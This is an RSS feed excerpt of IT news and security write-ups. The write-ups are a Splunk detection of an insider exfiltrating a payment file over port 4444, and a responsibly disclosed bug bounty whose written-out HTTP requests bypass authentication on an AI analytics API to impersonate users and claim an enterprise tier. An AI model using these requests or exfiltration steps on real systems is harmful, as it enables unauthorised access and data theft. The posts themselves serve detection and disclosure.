<p class="wp-block-paragraph">AI is introducing a wrinkle that is forcing even the most committed enterprise software customers to rethink their options. AI is a layer that sits across your data, your processes, and your decisions. Where that layer runs and who controls it is an architecture question, and most of the enterprise community is still treating it as a procurement one.</p>



<p class="wp-block-paragraph">The appeal of vendor-embedded AI is clear: automated operational decisions, smarter supplier and merchandising choices, and friction-free workflows built into the systems enterprises already rely on. The catch is that these capabilities almost universally depend on your data living in the vendor’s cloud environment. For most large enterprises, it sits on-premises, in hyperscale cloud infrastructure they manage themselves, or in private data centers. That gap between where your data is and where your vendor’s AI assumes it should be creates a fundamental strategic fork in the road.</p>



<h2 class="wp-block-heading"><a></a>Build vs. buy is a category error</h2>



<p class="wp-block-paragraph">The framing I keep hearing is “build vs. buy your AI strategy.” It implies that some organizations are out there training foundation models from scratch. Nobody serious is doing that. The real choice sits across three distinct approaches, and conflating them leads to poor decisions:</p>



<ul class="wp-block-list">
<li><strong>Buy embedded. </strong>Use the AI capabilities your vendor ships natively inside their platform: the assistant baked into your ERP, your CRM, your HCM suite. Lowest integration cost, fastest time to value, tightest fit with the application data.</li>



<li><strong>Buy platform.</strong> Adopt the vendor’s AI infrastructure layer and build your own assistants and agents on top of it. More flexible, but you remain inside the vendor’s architectural boundary and subject to their governance model.</li>



<li><strong>Compose.</strong> Connect a third-party model (Claude, GPT, Gemini, an open-weight model running in your own environment) directly to your existing landscape. Maximum control, maximum integration burden, and full responsibility for what comes out the other end.</li>
</ul>



<p class="wp-block-paragraph">These are not equivalent options at different price points. They make different assumptions about where your data lives, who governs the AI, and how much architectural change you’ll absorb to get there. Vendor pitches sometimes blur the distinction on purpose. Enterprise leaders can’t afford to.</p>



<h2 class="wp-block-heading"><a></a>The vendor AI stack has an assumption baked in</h2>



<p class="wp-block-paragraph">Every embedded AI capability ships with an unstated architectural prerequisite: your data must be where the AI can see it, in the shape it expects, under the governance the vendor enforces.</p>



<p class="wp-block-paragraph">For organizations with clean, modern cloud estates, that is often a reasonable trade. For the long tail of large enterprises running heavily customized environments on private or hybrid infrastructure, that trade becomes a precondition, one you must meet before the AI conversation can even begin. Whether meeting it makes sense depends on your starting point, your sector’s regulatory posture, and your appetite for migration risk. None of those are uniform across organizations.</p>



<p class="wp-block-paragraph">That’s the part that gets glossed over in vendor keynotes. The AI demo on stage assumes a destination architecture the audience hasn’t necessarily reached yet. Large enterprise customers are carrying an unusually heavy technology burden right now. Many are simultaneously managing platform modernization programs that have been building for over a decade, alongside pressure to migrate to vendor-managed cloud infrastructure. Sitting above both is a boardroom-level directive to demonstrate meaningful AI progress fast. The vendor path to AI and the boardroom path to AI can diverge sharply, and enterprises need to make selective, strategic decisions about where to adopt AI first to maximize value and minimize risk.</p>



<h2 class="wp-block-heading"><a></a>Sovereignty isn’t a slogan, it’s an architecture constraint</h2>



<p class="wp-block-paragraph">The conversation about sovereignty has been hijacked by both sides. One camp treats every SaaS adoption as a sovereignty violation. The other dismisses every sovereignty concern as Luddite resistance. Neither is useful.</p>



<p class="wp-block-paragraph">What’s happening in real customer conversations – particularly in DACH, public sector, and financial services – is more specific. Organizations are drawing a distinction between running their applications in a vendor’s cloud (which is broadly fine, well understood, decades of precedent) and enriching their data and processes inside a vendor’s AI model (which has less precedent, is harder to reverse, and carries material implications for competitive position).</p>



<p class="wp-block-paragraph">Enriching your data inside a vendor’s AI model is the genuinely new question, and organizations that conflate it with their existing cloud posture tend to defend the wrong perimeter.</p>



<p class="wp-block-paragraph">Despite spending around $100 million annually with Amazon, <a href="https://www.uctoday.com/unified-communications/disney-openai-enterprise-strategy/">Disney built its own internal AI system</a> to house its corporate intelligence rather than rely on a hyperscaler’s AI offering. The decision came down to control. When your data represents decades of creative and commercial IP, you think carefully about where it lives and who can learn from it. Disney has become more open to SaaS over time. The AI sovereignty question is a separate debate from the SaaS debate and conflating the two leads organizations to the wrong conclusions.</p>



<p class="wp-block-paragraph">At the other end of the spectrum, enterprises in heavily regulated environments treat data sovereignty as an absolute non-negotiable. Any AI model must run within their controlled environment, especially where sensitive data cannot touch the public internet.<a href="https://gdpr.eu/what-is-gdpr/"> </a><a href="https://gdpr.eu/what-is-gdpr/">GDPR obligations</a> reinforce this instinct across the European market, requiring organizations to maintain clear accountability for how personal data is processed inside AI systems, including vendor-managed ones.</p>



<p class="wp-block-paragraph">AI-enriched data, meaning models that have learned the shape of your business processes, your supplier negotiations, your customer behavior, carries a different half-life and a different strategic value than the operational data underneath it. That deserves its own architectural decision, separate from your broader cloud strategy.<a></a></p>



<h2 class="wp-block-heading">What this means in practice</h2>



<p class="wp-block-paragraph">Most large enterprise estates will end up with a mix of all three approaches, and where you draw the lines matters more than your overall posture.</p>



<p class="wp-block-paragraph">Embedded AI capabilities are the right answer for in-application productivity: the assistant inside your ERP workflows, the agent inside your procurement or HR suite. That is where vendor embedding genuinely shines, and attempting to compose your own equivalent is typically a poor use of engineering resources.</p>



<p class="wp-block-paragraph">Compose belongs elsewhere: in cross-application orchestration, in custom assistants over operational and observability data, and in agents that need to reach across multiple vendor systems and infrastructure layers in ways no single vendor stack will never natively support. <a href="https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/the-top-trends-in-tech">Research from McKinsey</a> suggests the most significant near-term productivity gains from enterprise AI will come precisely from these cross-system workflows, rather than from within individual applications. The most interesting enterprise AI work over the next eighteen months lives here, and it doesn’t require waiting for a migration to complete first.</p>



<p class="wp-block-paragraph">That compose path isn’t free, and it’s important to be honest about the costs. Governance, audit trails, and accountability for hallucinated outputs become your problem, not the vendor’s. Prompt drift and evaluation discipline are real engineering costs that never appear in the proof-of-concept. Those costs scale with the complexity of your landscape and the number of systems your agents touch. Budget for them before deployment, not after your first production incident. None of that is a reason to avoid the path. It’s a reason to staff for it, honestly.<a></a></p>



<h2 class="wp-block-heading">The real question</h2>



<p class="wp-block-paragraph">The build-vs-buy frame survives because it gives executives a binary choice along a familiar axis. AI sits somewhere else entirely.</p>



<p class="wp-block-paragraph">The question worth putting on the table at your next architecture review is simpler:</p>



<p class="wp-block-paragraph">Which decisions do we want our vendors’ AI to make, and which do we want to keep on our side of the boundary?</p>



<p class="wp-block-paragraph">Answer that, and the right build/buy/compose mix flows from it. Skip it, and you will end up with the architecture your vendors prefer – which may or may not be the one your business needs.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why brokers need clean data to execute in the age of AI]]></title>
<description><![CDATA[The right data makes the difference when it comes to AI output]]></description>
<link>https://tsecurity.de/de/3675540/it-nachrichten/why-brokers-need-clean-data-to-execute-in-the-age-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675540/it-nachrichten/why-brokers-need-clean-data-to-execute-in-the-age-of-ai/</guid>
<pubDate>Fri, 17 Jul 2026 11:03:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The right data makes the difference when it comes to AI output]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate]]></title>
<description><![CDATA[No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM LabMost detection conten...]]></description>
<link>https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.</em></p><p><em>By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM Lab</em></p><p>Most detection content is about outsiders — brute force, phishing, exploits. The attacker is external, the activity is obviously malicious, and the logs light up.</p><p>Insider threats are the opposite. The account is valid. The access is authorized. Every individual action, viewed on its own, looks like normal work. There’s no single event you can alert on. And that’s exactly what makes them the hardest thing a SOC has to catch.</p><p>I built a Splunk lab to detect one end to end. This is how it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GmRtez2BHftjN-yNHsBWw.png"><figcaption><em>The Meridian SOC dashboard — six live panels built in Splunk, pulling from the same data this insider threat scenario generated.</em></figcaption></figure><p><strong>The scenario</strong></p><p>A fictional e-commerce company, Meridian Commerce Inc. A Finance account on a Windows 11 workstation (FIN-WKS-04) with legitimate access to customer payment data. The insider does three things:</p><ol><li><strong>Reads</strong> the payment file C:\CustomerExports\payments_export.csv. This account is allowed to. <em>(Event ID 4663)</em></li><li><strong>Compresses</strong> it with PowerShell’s Compress-Archive. Zipping a file isn't malicious. <em>(Event ID 4104)</em></li><li><strong>Exfiltrates</strong> it to an external host with curl.exe over port 4444. One outbound connection among thousands. <em>(Event ID 5156)</em></li></ol><p>Read, zip, upload. Three ordinary actions. No perimeter control catches this because nothing is breached. No auth alert fires because the login is valid. The attack lives entirely inside legitimate behavior. The only way to see it is to stop looking at events individually and start looking at the pattern they form together.</p><p><strong>Problem 1 — the workstation logs almost nothing by default</strong></p><p>Before correlating anything, I found the telemetry wasn’t even there. A default Windows 11 workstation doesn’t log these events. Three audit subcategories must be explicitly enabled: File System (4663) plus a SACL on the folder, PowerShell Script Block Logging (4104), and Filtering Platform Connection (5156). Without them, the read, the compression, and the exfiltration are all invisible. If these aren’t on <em>before</em> the attack, there’s nothing to detect after — the evidence was never written.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1LoptNEb58AKqbhooSulhA.png"><figcaption><em>The file-read stage caught in Splunk via Event ID 4663 — the first of three subcategories that are disabled by default on a stock Windows 11 workstation.</em></figcaption></figure><p><strong>Problem 2 — the compression step tried to hide</strong></p><p>I expected to catch the compression via Event ID 4688 (Process Creation). It never fired. Compress-Archive is a native PowerShell cmdlet — it runs inside the existing PowerShell engine and doesn't spawn a child process, so there's no 4688. Any detection relying only on process-creation auditing is blind to PowerShell-native staging. That's why Script Block Logging (4104) matters — it captures the cmdlet with full parameter bindings, including exact source and destination paths.</p><p><strong>The detection — correlating three stages into one incident</strong></p><pre>index=windows (EventCode=4663 Object_Name="*CustomerExports*")<br>    OR (EventCode=4104 _raw="*CompressFilesHelper*")<br>    OR (EventCode=5156 Destination_Port=4444)<br>| transaction host maxspan=30m<br>| where eventcount &gt;= 3<br>| table _time, host, eventcount, duration</pre><p>The three OR conditions each match one stage. transaction host maxspan=30m groups events on the same host within a 30-minute window into one logical unit — the line that turns scattered events into a story. where eventcount &gt;= 3 only fires when all three stages hit the same host inside that window. One stage, nothing. Two, nothing. All three in sequence — that's a kill chain, not coincidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChuETHBGAxo0WqS68UXnKA.png"><figcaption><em>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04. Three innocent-looking actions revealed as one exfiltration chain.</em></figcaption></figure><p>Result: <strong>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04.</strong> One alert with the full narrative instead of 27 disconnected log lines nobody would piece together manually.</p><p><strong>What happens after the alert fires</strong></p><p>Detecting the chain is only step one. Here’s how I’d actually triage this in a live SOC:</p><p><strong>Severity:</strong> High. Confirmed customer PII touched, compressed, and sent to an external host — this isn’t “suspicious,” it’s a completed exfiltration, not an attempt.</p><p><strong>First move:</strong> Isolate FIN-WKS-04 from the network immediately to stop any further outbound activity, and disable the account pending investigation — not delete it, since the account and its full history are now evidence.</p><p><strong>Scope the blast radius:</strong> Pull every file that account touched in the same session window, not just the one flagged file — the transaction proves this exfiltration; it doesn’t rule out others in the same session.</p><p><strong>Escalate, don’t conclude:</strong> This is exactly the kind of finding that gets handed to IR and HR jointly, not closed solo by a SOC analyst. My job at this stage is to hand over a clean timeline, not decide intent — that’s a human resources and legal call, not a technical one.</p><p><strong>Tune after, don’t tune during:</strong> The 30-minute window and the 3-event threshold both need validation against real traffic before this becomes a production rule — a busy analyst doing legitimate bulk export-and-archive work could trip the same pattern. That tuning is exactly what separates a lab detection from a production one.</p><p>That last part matters more than the query itself. A rule that fires is only useful if someone downstream knows what to do the moment it does.</p><p><em>This is Phase 5 of a full Splunk Enterprise SIEM lab I built from scratch — 6 OWASP Top 10 detections, a live SOC dashboard, incident reports, and two documented detection gaps. Full lab and all SPL: github.com/ronakmishra28/meridian-soc-detection-lab</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=aeac34ea7190" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate-aeac34ea7190">How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zero Credentials, Full Access: Inside a Complete Authorization Failure]]></title>
<description><![CDATA[Bounty Case Files #01How multiple trust-boundary failures allowed anonymous access to premium functionality in a production APIBy Ahmed Waleed | Bug Bounty HunterTL;DRWhile assessing a public enterprise SaaS API, I discovered a complete breakdown of authentication and authorization.By chaining mu...]]></description>
<link>https://tsecurity.de/de/3675345/hacking/zero-credentials-full-access-inside-a-complete-authorization-failure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675345/hacking/zero-credentials-full-access-inside-a-complete-authorization-failure/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:35 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Bounty Case Files #01</h3><p><em>How multiple trust-boundary failures allowed anonymous access to premium functionality in a production API</em></p><p><strong>By </strong><a href="https://www.linkedin.com/in/0x-elfateh/"><strong>Ahmed Waleed</strong> </a><em>| Bug Bounty Hunter</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZT6QyTKTXT-HRslY4EAt4A.png"></figure><h3>TL;DR</h3><p>While assessing a public enterprise SaaS API, I discovered a complete breakdown of authentication and authorization.</p><p>By chaining multiple trust-boundary failures, an unauthenticated attacker could:</p><ul><li><em>Access premium enterprise functionality without authentication.</em></li><li>Impersonate arbitrary users</li><li>Read private conversation history</li><li>Escalate privileges through client-controlled authorization metadata.</li><li>Create, modify, and delete server-side resources</li></ul><p>To respect responsible disclosure, all identifying information has been removed.</p><h3>Target Overview</h3><p>The target was a public AI-powered enterprise platform exposing a documented REST API.</p><p>During reconnaissance I discovered several publicly accessible endpoints:</p><ul><li>/docs</li><li>/redoc</li><li>/openapi.json</li></ul><p>The OpenAPI specification described every available endpoint together with request schemas.</p><p>One thing immediately stood out: the API defined no authentication mechanism whatsoever — no API keys, no OAuth, no Bearer tokens, and no securitySchemes in the OpenAPI specification.</p><h3>Recon</h3><p>Rather than fuzzing hundreds of endpoints, I started by understanding how the application expected clients to communicate.</p><p>The Swagger interface exposed the complete API surface, allowing quick identification of authentication requirements — or in this case, the absence of them. That observation became the starting point for the entire assessment.</p><h3>Technical Walkthrough</h3><p>All requests below were run from a clean browser session with zero credentials, against only a test conversation and a synthetic (non-existent) email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*iFz52SiCWmXCxndPz_Ygog@2x.jpeg"></figure><p><strong>1. Create a conversation — no auth required:</strong></p><pre>POST /conversations<br>Content-Type: application/json <br>{}<br><br><br>→ 200 OK<br>{"status":"success","conversation_id":"conv_...","created_at":"..."}</pre><p><strong>2. Run an enterprise-tier query by just claiming to be enterprise:</strong></p><pre>POST /process<br>Content-Type: application/json<br><br>{<br>  "message": "Show me top brands in TVs on Amazon US by market share",<br>  "conversation_id": "conv_...",<br>  "user_metadata": {<br>    "user_tier": "enterprise",<br>    "permitted_categories": ["All"],<br>    "allowed_retailers": ["All"]<br>  }<br>}<br><br>→ 200 OK — real production analytics data returned, e.g.:<br>Brand A - 35.54% market share - $36.9M GMV - 47,832 units<br>Brand B - 17.81% market share - $18.5M GMV -  8,859 units<br>Brand C -  7.77% market share -  $8.1M GMV - 43,218 units<br></pre><p>The response even included an internal data-source citation confirming it was pulling from the platform’s proprietary intelligence pipeline — not a demo/sandboxed dataset.</p><p><strong>3. Impersonate any customer by email:</strong></p><pre>GET /conversations?user_email=&lt;any-email&gt;<br><br>→ 200 OK — full conversation history for that email address returnedGET /conversations?user_email=&lt;any-email&gt;</pre><p>No verification that the requester <em>is</em> that email address — just supply it and read their history.</p><p>Expected behavior for all three: 401 Unauthorized. Actual: 200 OK, full access.</p><h3><strong>Attack Chain</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ASZz1mQmnl81UjJjru3pZw.png"></figure><p>Individually, each issue represented a security weakness. Combined, they resulted in a complete authorization failure.</p><h3>Root Cause Analysis</h3><ul><li>Authentication was never enforced</li><li>User identity was trusted from client input</li><li>Authorization relied on client-controlled metadata</li><li>Public API documentation exposed the full attack surface</li><li>Critical authorization decisions occurred entirely on the client side</li></ul><h3>Impact</h3><p>An unauthenticated, remote, anonymous attacker could:</p><ul><li>Consume a paid AI analytics product with zero subscription</li><li>Pull real-time competitive intelligence (pricing, market share, revenue) meant to be a paid enterprise product</li><li>Enumerate/guess customer emails to read private conversation histories</li><li>Escalate from a “demo” tier to “enterprise” by editing a JSON field</li><li>Perform unauthenticated DELETE and PATCH on other users' conversation records — a data-integrity/destruction risk, not just a confidentiality one</li></ul><h3>Suggested Remediation</h3><ol><li>Require real authentication (e.g., validated OAuth/OIDC bearer tokens) on every endpoint; reject unauthenticated calls with 401.</li><li>Derive user identity <strong>only</strong> from the validated token — never from a client-supplied user_email parameter.</li><li>Enforce subscription tier and all permissions <strong>server-side</strong>, from the authenticated principal’s actual entitlements — never trust client-supplied user_metadata.</li><li>Remove or gate /docs, /redoc, and /openapi.json behind auth in production.</li><li>Add per-user rate limiting and audit logging tied to the authenticated identity.</li></ol><h3>Lessons Learned</h3><ul><li>Authentication and authorization solve different problems</li><li>Public API documentation accelerates reconnaissance</li><li>Client-controlled metadata must never influence authorization</li><li>Every permission should be verified on the server</li><li>Multiple low-complexity issues can combine into a critical compromise</li></ul><h3>Responsible Disclosure</h3><p>This issue was reported responsibly through the vendor’s vulnerability disclosure process. The article intentionally omits identifying details, implementation-specific information, and production artifacts.</p><h3>Takeaway</h3><p>An OpenAPI spec with no securitySchemes block and a Swagger UI with no "Authorize" button is a five-second tell that a supposedly "enterprise-grade" AI product may have no server-side authorization at all — identity and entitlement were both being trusted from client-supplied JSON. Worth checking on any AI agent/chatbot API you test: does the <em>server</em> actually verify who you are and what you're allowed to see, or is it just trusting what you tell it?</p><blockquote><em>Next in this series: Bounty Case Files #02</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=1607f0cf12ca" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/zero-credentials-full-access-inside-a-complete-authorization-failure-1607f0cf12ca">Zero Credentials, Full Access: Inside a Complete Authorization Failure</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Salesforce’s Agentforce product maturity questioned as KeyBanc cites weak customer traction]]></title>
<description><![CDATA[Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, followi...]]></description>
<link>https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</guid>
<pubDate>Fri, 17 Jul 2026 09:03:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, following customer checks and a CIO survey.</p>



<p class="wp-block-paragraph">“Our checks and customer conversations have not been strong, nor has the feedback been on Agentforce. What we can piece together in the disclosed numbers does not signal building momentum and, most recently, our CIO survey delivered another blow with Salesforce being a standout for the wrong reasons,” according to a<a href="https://seekingalpha.com/news/4612661-salesforce-receives-downgrade-to-sector-weight-as-agentforce-fails-to-gain-momentum-keybanc"> Seeking Alpha</a> that quoted a KeyBanc research note.</p>



<p class="wp-block-paragraph">“We attend more Salesforce partner and customer events than any other company in our coverage, and feedback from those customers has been consistent in two ways: 1) customers’ data is not in order to do meaningful AI work; and 2) Agentforce, as a product, just isn’t there,” Seeking Alpha reported, quoting the KeyBanc note.</p>



<p class="wp-block-paragraph">The KeyBanc note quoted by Seeking Alpha also pointed out that conversations with Salesforce “partners” indicate that Agentforce proof-of-concept deployments are only now starting to generate pipeline opportunities, while its CIO survey found more respondents expecting to deprioritize Salesforce within their IT budget than the other way around over the coming 12 months.</p>



<p class="wp-block-paragraph">The findings in the research note stand in contrast to Salesforce’s sustained push to position Agentforce as its flagship enterprise AI platform. Since introducing the offering nearly two years back, the company has expanded it with new <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">foundation models, integrations</a>, deployment options, and pricing initiatives, most recently introducing its <a href="https://www.cio.com/article/4159536/salesforce-launches-headless-360-to-support-agent-first-enterprise-workflows.html">Headless 360</a> strategy to make Agentforce available beyond conventional CRM workflows through a more flexible consumption model.</p>



<p class="wp-block-paragraph">Parts of that flexible consumption model and Agentforce pricing, which Salesforce is still evolving, have already come under scrutiny with industry analysts <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">expressing concern</a> that Headless 360’s monetization model could create budgeting headaches for CIOs by making AI spending less predictable and increasing pressure on IT leaders to demonstrate measurable business outcomes and return on investment before expanding deployments.</p>



<h2 class="wp-block-heading">Concerns over product maturity</h2>



<p class="wp-block-paragraph">Those concerns around Agentforce’s evolving pricing model appear to be intersecting with the latest concerns about product maturity that KeyBanc analysts mention in their report.</p>



<p class="wp-block-paragraph">“Three pricing model changes in roughly 18 months make procurement committees nervous, and if the commercial model keeps shifting, buyers question whether the product has stabilized either,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Salesforce’s latest consumption-based pricing model, Chopra pointed out, is a bigger concern: “It is harder to budget for than seat-based licensing. CIOs want a clearer line between spend and outcome. That line isn’t clear enough yet.”</p>



<p class="wp-block-paragraph">Greyhound Research Chief Analyst <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, too, said that the pricing model is a fundamental issue for enterprises.</p>



<p class="wp-block-paragraph">While Salesforce’s pricing model charges enterprises for AI activity, it leaves customers to determine whether those interactions ultimately translate into meaningful business outcomes, Gogia said.</p>



<p class="wp-block-paragraph">That, according to <a href="https://reimagine.nelson-hall.com/analysts/1521" target="_blank" rel="noreferrer noopener">Gaurav Parab</a>, principal research analyst at NelsonHall, is slowing adoption because enterprise leaders, such as CIOs, are under pressure to evaluate TCO and expected ROI.</p>



<p class="wp-block-paragraph">“Most enterprises first want confidence that AI deployments will generate measurable business outcomes before committing to broader rollouts,” he said.</p>



<h2 class="wp-block-heading">Data Cloud and data readiness remain as challenges</h2>



<p class="wp-block-paragraph">Pricing, though, is just one piece of the equation.</p>



<p class="wp-block-paragraph">The discussion about Agentforce adoption, analysts said, cannot be separated from Salesforce’s broader product strategy, which positions Agentforce alongside Data Cloud as the foundation for enterprise AI deployments.</p>



<p class="wp-block-paragraph">“Data modernization has become one of the biggest determinants of adoption. Agentforce depends on trusted, unified enterprise data to generate reliable outcomes. For many organizations, preparing that data foundation through Data 360, integration, governance, and data quality initiatives represents a significant part of the implementation effort,” Purab said, backing the KeyBanc research note.</p>



<p class="wp-block-paragraph">Chopra seconded that assessment, saying Data Cloud has effectively become a prerequisite for production-grade Agentforce: “We worked with a private equity fund administrator where the AI layer only became reliable once we had clean, structured data feeding into Salesforce consistently. Before that, even well-configured automation produced inconsistent outputs.”</p>



<p class="wp-block-paragraph">In practice, that means many enterprises need to invest separately in Data Cloud, data integration, governance, and cleanup before Agentforce can be deployed reliably at scale, Chopra said.</p>



<h2 class="wp-block-heading">Implementation challenges are slowing adoption</h2>



<p class="wp-block-paragraph">Product maturity aside, those implementation challenges, Purab pointed out, are also contributing to a slower pace of Agentforce adoption in enterprises than anticipated.</p>



<p class="wp-block-paragraph">While interest in Agentforce continues to grow, enterprises, according to the analyst, are largely limiting deployments to targeted, high-value use cases while they establish trusted data foundations, integrate with existing systems, and demonstrate measurable business value.</p>



<p class="wp-block-paragraph">More so because Data Cloud accelerates Agentforce once the foundation is coherent,  it cannot make incoherence disappear, Gogia pointed out.</p>



<p class="wp-block-paragraph">Chopra, too, said his conversations with enterprise customers closely mirror Purab and KeyBanc’s findings: “The issue isn’t appetite. The issue is that their CRM data is fragmented, partially duplicated, and inconsistently structured. You can’t put an AI agent on top of that and expect reliable outputs.”</p>



<p class="wp-block-paragraph">“Cleaning that up takes months. That work doesn’t show in a vendor’s deal count, which is why signed agreements and actual production deployments are two very different numbers right now.”</p>



<h2 class="wp-block-heading">Timing issue or execution gap?</h2>



<p class="wp-block-paragraph">Despite all the challenges, though, Purab said that the slower pace of current adoption is not necessarily indicative of a long-term problem.</p>



<p class="wp-block-paragraph">“I see it as a timing issue, but it has always been the case. Enterprise AI adoption has consistently followed the maturity of data, governance, and operating models. Salesforce will undoubtedly continue refining the product, pricing, and go-to-market approach, but the larger challenge lies in enterprise readiness,” Purab said.</p>



<p class="wp-block-paragraph">“As organizations strengthen their data foundations and gain confidence in deploying AI responsibly, Agentforce adoption is likely to broaden significantly,” Purab added.</p>



<p class="wp-block-paragraph">Chopra, in contrast, offered a more nuanced view: “While data readiness, which is a customer issue, will improve with time, Salesforce needs to fix its go-to-market strategy.”</p>



<p class="wp-block-paragraph">“Three pricing changes in 18 months, a product that requires significant pre-investment before it delivers value, and implementation complexity that most mid-market buyers aren’t resourced for is definitely a positioning gap Salesforce needs to close,” Chopra said.</p>



<p class="wp-block-paragraph">Regardless of whether the current slowdown proves temporary or structural, both analysts agreed that the next six to twelve months should provide a clearer picture of Agentforce’s trajectory.</p>



<p class="wp-block-paragraph">For CIOs evaluating the platform, they said, the focus should be less on headline product announcements and more on tangible indicators of enterprise adoption and operational maturity.</p>



<p class="wp-block-paragraph">“The key indicators will be an increase in enterprise-scale production deployments rather than pilots, broader adoption beyond customer service into other business functions, stronger customer references demonstrating measurable business outcomes, continued simplification of pricing and deployment models, and greater maturity around governance, security, and operating models for AI agents,” Purab said.</p>



<p class="wp-block-paragraph">For Chopra, CIOs should go a step further by measuring how AI agents perform in production rather than simply tracking deployment numbers: “Containment rate in production — what percentage of agent interactions are resolved without human escalation — is the real performance signal, not token volume or deal count.”</p>



<p class="wp-block-paragraph">Salesforce did not immediately respond to a request for comment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New York State just hit pause on the AI data center boom]]></title>
<description><![CDATA[As AI use ratchets up, demand for data center capacity is higher than it’s ever been. But New York State is telling the industry: Not so fast.



New York Governor Kathy Hochul this week signed an Executive Order described as the “nation’s first moratorium” on new hyperscale data centers, massive...]]></description>
<link>https://tsecurity.de/de/3674888/it-security-nachrichten/new-york-state-just-hit-pause-on-the-ai-data-center-boom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674888/it-security-nachrichten/new-york-state-just-hit-pause-on-the-ai-data-center-boom/</guid>
<pubDate>Fri, 17 Jul 2026 03:36:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As AI use ratchets up, demand for data center capacity is higher than it’s ever been. But New York State is telling the industry: Not so fast.</p>



<p class="wp-block-paragraph">New York Governor Kathy Hochul this week signed an <a href="https://www.governor.ny.gov/news/first-statewide-moratorium-new-hyperscale-data-centers-launched-governor-kathy-hochul" target="_blank" rel="noreferrer noopener">Executive Order</a> described as the “nation’s first moratorium” on new hyperscale data centers, massive factories that typically comprise thousands of servers devouring tens or hundreds of megawatts of power.</p>



<p class="wp-block-paragraph">During this up to one year pause, the state will halt issuance of environmental permits for data centers as it develops a regulatory framework to protect ratepayers, the energy grid, the environment, and local communities.</p>



